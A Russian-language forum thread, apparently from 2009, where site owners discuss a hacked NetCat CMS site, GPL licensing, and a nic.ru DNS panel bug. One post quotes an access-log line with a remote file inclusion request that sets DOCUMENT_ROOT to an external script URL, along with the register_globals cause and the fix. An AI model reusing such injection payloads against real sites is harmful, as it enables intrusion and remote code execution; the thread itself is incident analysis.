Разве это не будет нарушением лицензии?
Все продажи GPL софта - это формально плата за носитель информации, упаковку и доставку. Говорить, что вы берёте деньги именно за этот софт, нельзя, насколько я понимаю.
Мораль на самом деле: не стоит пользоваться странными программами, когда есть идеальные утилиты для этих целей - mysql и mysqldump.
Домен принят, деньги переданы.
ставлю 30$
Что именно курил Федорыч, я не понял, но Павел Зотов по делу написал - предлагается экранировать все основные переменные NetCat, на которые тоже возможна атака.
funky, DenIT, да, уже сделано :)
dkameleon, если апач работает от имени пользователя, то установка прав ничего не решает.
все файлы принадлежат пользователю => менять права может сам пользователь
апач запущен от имени пользователя => любой скрипт сайта может изменить права на любой файл пользователя
То есть, если на сайте найдётся уязвимость, позволяющая выполнить php/perl-код, то через неё можно абсолютно любым образом модифицировать исходники сайта.
Запуск веб-сервера из-под пользователя имеет ряд плюсов: например, исключается возможность взлома других аккаунтов на хостинге через дырявые скрипты одного, а также убавляется проблем с настройкой правильных прав на файлы и директории и, как следствие, нагрузка на тех.поддержку хостинга. Но ряд минусов, связанных с безопасностью внутри аккаунта перечеркивает эти плюсы.
Shema добавил 02.05.2009 в 16:08
Взлом делался на редкость красиво и просто - никаких специальных функций.
Запрос вида
64.118.90.253 - - [01/May/2009:17:59:52 +0400] "GET //index.php?DOCUMENT_ROOT=http://www.footnoteibs.com/b1ttletX.txt??? HTTP/1.1" 200 606 "-" "libwww-perl/5.823"
позволял выполнить код по ссылке http://www.footnoteibs.com/b1ttletX.txt (можете скачать посмотреть, там скрипт безобидный plain-текстом, просто скачав, вирус не подцепите; но когда этот код оказывается внутри сайта, он начинает выполняться с правами сайта).
Виной в данном случае - кривая настройка NetCat (жесткое прописывание в конфигах переменной DOCUMENT_ROOT вроде решило проблему). Но если бы не было register_globals такая уязвимость даже теоретически не смогла бы появиться.
Ну вот: выяснили ещё баг в логике работы панельки nic.ru.
Если купить поддержку DNS, потом купить их же хостинг, в который включена поддержка DNS, а потом отказаться от услуги платной поддержки DNS, то записи о домене сносятся, не смотря на оплаченный хостинг.
Теоретически могут помочь следующие танцы с бубном:
1) сделать резервные копии сайтов, удалить сайты с площадки, добавить обратно (при этом действии скорее всего потеряется почта, если она есть), гарантий, что поможет, нет, но из общих соображений может помочь (после данной операции надо смотреть стал ли отдавать ns-сервер информацию по запорсу "nslookup имядомена.ru ns3.nic.ru" - сейчас не отдаёт, хотя домен делегирован на эти ns)
2) переделегировать домен на другие ns-сервера - поможет гарантированно (так как при ручном сопоставлении ip и домена через /etc/hosts сайт открывается), но на переделегирование уходит в среднем от 3 до 24 часов (но это быстрее чем ждать саппорт до понедельника), плюс это может оказаться не бесплатным (хотя найти сервисы с free dns можно)
Proffoto, если нужна помощь в поднятии сайта, могу помочь (если у вас есть пароль от панельки).
А саппорт у них на праздниках, тоже пытался с ними связаться вчера.
kxk, все свои проекты мы размещаем только на собственных серверах с нормально настроенной безопасностью. Эти клиенты достались вместе с сайтом и хостингом. Кстати в последнее время тенденция, что если клиент покупает домен в nic.ru, ему впаривают их же хостинг на год.
Но в топике вопрос про NetCat. Я пока заткнул дырку с переменной DOCUMENT_ROOT, на сам факт "register_globals on" меня очень напрягает, так как это потенциальная дыра с широкими возможностями для взлома :)
